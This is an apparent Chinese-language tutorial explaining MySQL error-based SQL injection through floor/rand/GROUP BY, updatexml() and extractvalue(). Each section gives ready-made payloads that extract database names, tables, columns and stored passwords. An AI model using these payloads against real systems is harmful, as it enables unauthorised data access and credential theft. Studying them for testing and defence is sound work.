1.floor()函數
報錯原因是
報錯的原因是因為rand()函數在查詢的時候會執行一次,插入的時候還會執行一次.這就是整個語句報錯的關鍵
前面說過floor(rand(0)*2) 前六位是0110110
group by x先建立一個空表,用於分組.然后進行分組查詢,第一次rand()執行,查詢的結果是0,因為是空表所以插入這條,而插入的時候rand()又執行了一次,所以表中的結果就是
第一次執行完,接着執行rand()的值為1,因為表中存在,所以加1,表中結果成為
到了第三次執行rand()是值為0,因為表中不存在所以要插入新的數據,這次插入rand()再次執行,所以插入的又是1.而表中已經存在1了
此時插入因為重復出現同一個key,就會出現報錯 重復出現key.而報錯中會說明那個key有問題,我們的key中結合了想要了解的字符串root@localhost
這樣就實現了報錯注入,拿到了自己想要的數據
這就是整個報錯注入的原理了,rand(),floor() group by 函數缺一不可.
常用語句
union select count(*),concat((查詢語句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
2.updatexml()函數
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱。
第二個參數:XPath_string (Xpath格式的字符串) 。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值。
由於updatexml的第二個參數需要Xpath格式的字符串,以~開頭的內容不是xml格式的語法,concat()函數為字符串連接函數顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。
常用語句
爆庫
id=-1or updatexml(1,concat(0x7e,(select database())),1)
爆表
id=-1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
爆字段
id=-1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')),1)
爆內容
id=-1 or updatexml(1,concat(0x7e,(select group_concat(password) from sqli)),1)
3.extractvalue()函數
報錯原因與updatexml()函數類似,都是讀取路徑報錯
爆庫
id=-1 or extractvalue(1,concat(0x7e,(select database())))
爆表
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆字段
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli')))
爆內容
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(password) from sqli)))